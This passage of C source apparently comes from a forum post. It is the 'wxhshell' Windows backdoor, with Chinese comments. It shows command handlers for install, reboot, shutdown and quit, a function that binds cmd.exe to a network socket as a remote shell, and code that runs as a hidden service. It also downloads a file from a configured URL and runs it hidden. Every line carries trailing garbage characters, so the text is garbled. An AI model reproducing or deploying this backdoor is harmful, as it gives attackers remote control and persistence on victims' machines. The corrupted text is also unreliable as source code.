  } juXC?2c  
  else { @E YK(QS-  
(]}XLMi,|!  
    switch(cmd[0]) { 4[Z1r~t\L  
  Q Y@nE  
  // 帮助 j $KM9  
  case '?': { &62` Wr0C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p#z;cjfSt  
    break; r.9 $y/5  
  } 8>m1UONr  
  // 安装 dw3'T4TC?  
  case 'i': { bYK]G+Ww  
    if(Install()) hg{ &Y(J!U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kv/(rKLp*  
    else jXtLo,km  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o;%n,S8J|^  
    break; unpfA#&!"  
    } YyG~#6aCh  
  // 卸载 ~ J%m  
  case 'r': { b~F!.^7Q  
    if(Uninstall()) \ x:_*`fU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~yd%~|  
    else W;91H'`?H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ynxWQ%d(`  
    break; Y5Ft96o))x  
    } roL}lM$  
  // 显示 wxhshell 所在路径 z(#=tC|  
  case 'p': { [rc'/@L  
    char svExeFile[MAX_PATH]; UJ O]sD`i  
    strcpy(svExeFile,"\n\r"); [O [FCn  
      strcat(svExeFile,ExeFile); '8L(f w{k  
        send(wsh,svExeFile,strlen(svExeFile),0); :C> J-zY  
    break; o%$<LaQG5  
    } =>P_mPP=  
  // 重启  5=*@l  
  case 'b': { p FXd4*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Gi;9 S  
    if(Boot(REBOOT)) RsR] T]4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7L1\1E:!  
    else { gW/QFZjY  
    closesocket(wsh); O~nBz):2  
    ExitThread(0); v]l&dgoT  
    } \l>q Y(gu  
    break; G[y&`Qc)G  
    } ]<Z&=0i#9  
  // 关机 -aC!0O y`  
  case 'd': { t7sUtmq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~>.awu+o|  
    if(Boot(SHUTDOWN)) neK*jdaP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5c*p2:]  
    else { r*c82}tc  
    closesocket(wsh); 4RlnnXY  
    ExitThread(0); _,11EeW@  
    } 3zk:59  
    break; ?&{S~[;l  
    } [8xeQKp4  
  // 获取shell PXOq#  
  case 's': { ?G2qlna  
    CmdShell(wsh); |zK!+fu  
    closesocket(wsh); H f!9`R[  
    ExitThread(0); b,=,px  
    break; iXt4|0  
  } R (t!xf  
  // 退出 ;b{pzIe=F  
  case 'x': { k];L!Fj1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e?_c[`sg  
    CloseIt(wsh); 5?<|3  
    break; h4J{jh.  
    } FZM ]o  
  // 离开 "cIGNTLFA  
  case 'q': { ?3.(Vqwog  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^A:!ni@3  
    closesocket(wsh); [_B+DD=}  
    WSACleanup(); 8L%%eM_O  
    exit(1); &C CHxjsKR  
    break; 41P4?"O  
        } i=,B88ko  
  } ~ra#UG\Y8  
  } Q=)"om  
e);bF>.~  
  // 提示信息 1\M"`L/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,Zf :R  
} Y*]l|)a6_]  
  } =U)n`#6_j2  
> u'/$ k  
  return; > #Grf)@"6  
} azz#@f1  
5<'n  
// shell模块句柄  |JirBz  
int CmdShell(SOCKET sock) DQL06`pX/  
{ KIXwx98  
STARTUPINFO si; o06A=4I  
ZeroMemory(&si,sizeof(si)); }rFsU\]:q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i{%z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?,A}E|jZ  
PROCESS_INFORMATION ProcessInfo; kKFuTem_3  
char cmdline[]="cmd"; D5o+ 0R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9q@ z[+X  
  return 0; X}n&`y{/  
} n"K {uj))  
; 'b!7sMO~  
// 自身启动模式 hfl%r9o  
int StartFromService(void) b/a?\0^  
{ 6E)uu; 8  
typedef struct hY4)W  
{ ]6?c8/M  
  DWORD ExitStatus; [R@q]S/  
  DWORD PebBaseAddress; =woqHTR  
  DWORD AffinityMask; ;] l{D}  
  DWORD BasePriority; eG[umv.9b  
  ULONG UniqueProcessId; PHe~{"|d?  
  ULONG InheritedFromUniqueProcessId; 'l0eo' K  
}   PROCESS_BASIC_INFORMATION; LaEX kb*s  
l^!0|/Vw  
PROCNTQSIP NtQueryInformationProcess; 1FXzAc(c!  
XcJ'm{=   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,6cbD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J pCZq #  
` $QzTv   
  HANDLE             hProcess; ~/]\iOL  
  PROCESS_BASIC_INFORMATION pbi; GlV-}5W  
Up1$xLSl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b3CspBgC  
  if(NULL == hInst ) return 0; mcP{-oJ0W  
: . FfE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #J<`p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8CN7+V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); utFcFd X  
.:r2BgL  
  if (!NtQueryInformationProcess) return 0; iuH8g  
qxg7cj2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7~%  
  if(!hProcess) return 0; Uy_}@50"l  
I;kUG_c(4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P?3YHa^up  
V5(tf'  
  CloseHandle(hProcess); h~=\/vF  
n+RUPZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vo}_%5v8  
if(hProcess==NULL) return 0; +QCU]Fozk  
[][:/~q!  
HMODULE hMod; (c*7VO;  
char procName[255]; O>o}<t7  
unsigned long cbNeeded; k:+)$[t7  
uP%;QBb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]Gi+Z1q  
E&T'U2  
  CloseHandle(hProcess); `Q(]AG I2  
nIN%<3U2  
if(strstr(procName,"services")) return 1; // 以服务启动 YiQeI|{oN  
0.{oA`5N  
  return 0; // 注册表启动  t3yQ/  
} 3ZJagJ\O  
zDGg\cPj9  
// 主模块 k_|v)\4B  
int StartWxhshell(LPSTR lpCmdLine) wr;|\<c  
{ 8n."5,P  
  SOCKET wsl; Ep,0Z*j  
BOOL val=TRUE; _sf0{/< )  
  int port=0; 6{Cu~G{]N  
  struct sockaddr_in door; J:TI>*tn  
Zc' >}X[G  
  if(wscfg.ws_autoins) Install(); {pQ@0 b  
u;'<- _  
port=atoi(lpCmdLine); *nUpO]  
T$N08aju#  
if(port<=0) port=wscfg.ws_port; _QOOx+%*5  
Ymk4Cu.s  
  WSADATA data; <>5:u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .xc/2:m9  
1l`s1C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J9$]]\52s.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~jRk10T(B  
  door.sin_family = AF_INET; UV *tO15i  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xjn8)C  
  door.sin_port = htons(port); PE6u8ZAb"  
a*n%SUP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :x*|lz[  
closesocket(wsl); ]rX?n  
return 1; }9+1<mT9a/  
} 'i h  
3{#pd6e5  
  if(listen(wsl,2) == INVALID_SOCKET) { g$^qQs)^N  
closesocket(wsl); $X<<JnsK  
return 1; v BeU  
} C$re$9U  
  Wxhshell(wsl); yM#trqv5  
  WSACleanup(); 5, "^"*@<  
y\f8Ird  
return 0; *a0I  Z  
>"$-VY6i  
} c:,{ O 0 #  
 &t%&l0  
// 以NT服务方式启动 J-%PyvK$?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VOF:+o@.  
{ '14l )1g.  
DWORD   status = 0; Gp3t?7S{T  
  DWORD   specificError = 0xfffffff; %_J/&{6G  
YT%SCaU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^N}~U5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <+1w'-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZD] '$  
  serviceStatus.dwWin32ExitCode     = 0; q$2taG}  
  serviceStatus.dwServiceSpecificExitCode = 0; Y*X6lo  
  serviceStatus.dwCheckPoint       = 0; ht cO ~b  
  serviceStatus.dwWaitHint       = 0; F]&J%i F[  
&#b>AAx$2Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kc(b;EA  
  if (hServiceStatusHandle==0) return; -mYI[AG)  
|u@>[*k'=  
status = GetLastError(); 1eR{~ ,  
  if (status!=NO_ERROR) yI)fu^  
{ JA(q>>4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z a y'/b  
    serviceStatus.dwCheckPoint       = 0; uKAHJ$%  
    serviceStatus.dwWaitHint       = 0; G C#95  
    serviceStatus.dwWin32ExitCode     = status; _itN.^  
    serviceStatus.dwServiceSpecificExitCode = specificError; AJ1$$c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z'}t@R#H  
    return; :IKp7BS  
  } P}u<NPy3Q  
;\&bvGj8V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f'yd {ihFp  
  serviceStatus.dwCheckPoint       = 0; laL4ez  
  serviceStatus.dwWaitHint       = 0; :Y?08/V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =Q 0 )t_z_  
} *oJ>4S  
5lA 8e  
// 处理NT服务事件,比如:启动、停止 ^@w1Z{:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _ ~$0cj<  
{ ::b;4Q L  
switch(fdwControl) E2/U']R  
{ s#Y7*?Sm  
case SERVICE_CONTROL_STOP: CvSG!l.6f<  
  serviceStatus.dwWin32ExitCode = 0; "dU#j,B2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8o5^H>  
  serviceStatus.dwCheckPoint   = 0; c+M@{EbuN  
  serviceStatus.dwWaitHint     = 0; J0)WRn"h  
  { z+B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W p* v Vv  
  } ^?VT y5yp  
  return; \Nn%*?f  
case SERVICE_CONTROL_PAUSE: xF>w r r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Xwq2;Bq  
  break; Q-%=ZW Z  
case SERVICE_CONTROL_CONTINUE: tZ2iSc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 30v1VLR_)  
  break; 3~09)0"!d  
case SERVICE_CONTROL_INTERROGATE: lxJ.h&"P  
  break; wDTV /"Y  
}; g wiC ,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U`4Z j1y  
} IHMyP~{  
EHM 7=|#  
// 标准应用程序主函数 2Rp{]s$jo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M@86u^80  
{ yBjWPx?  
]OUOL/J  
// 获取操作系统版本 0#nXxkw  
OsIsNt=GetOsVer(); I8>1RXz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `\uv+^x{  
W@}5e-q)O  
  // 从命令行安装 H;te)km}  
  if(strpbrk(lpCmdLine,"iI")) Install(); Gjh7cm>  
Jg6[/7*m  
  // 下载执行文件 oRF"[G8BV  
if(wscfg.ws_downexe) { iiFKt(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AiI# "  
  WinExec(wscfg.ws_filenam,SW_HIDE); kqB 00 ;  
} Q$5:P&  
(ZSSp1R v  
if(!OsIsNt) { '0]_8Sy&  
// 如果时win9x,隐藏进程并且设置为注册表启动 !|QeYGnq6  
HideProc(); AUpC HG7  
StartWxhshell(lpCmdLine); At|tk  
} ~ ?_Z!eS  
else w~-d4MNM  
  if(StartFromService()) 9!C?2*>A P  
  // 以服务方式启动 Z'kYf   
  StartServiceCtrlDispatcher(DispatchTable); bW3o%srxa  
else iR=aYT~  
  // 普通方式启动 ~ZC=!|Q#  
  StartWxhshell(lpCmdLine); N4NH)x  
<b40\Z{+  
return 0; xf SvvCy  
}
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只看该作者 1 发表于: 2006-10-10
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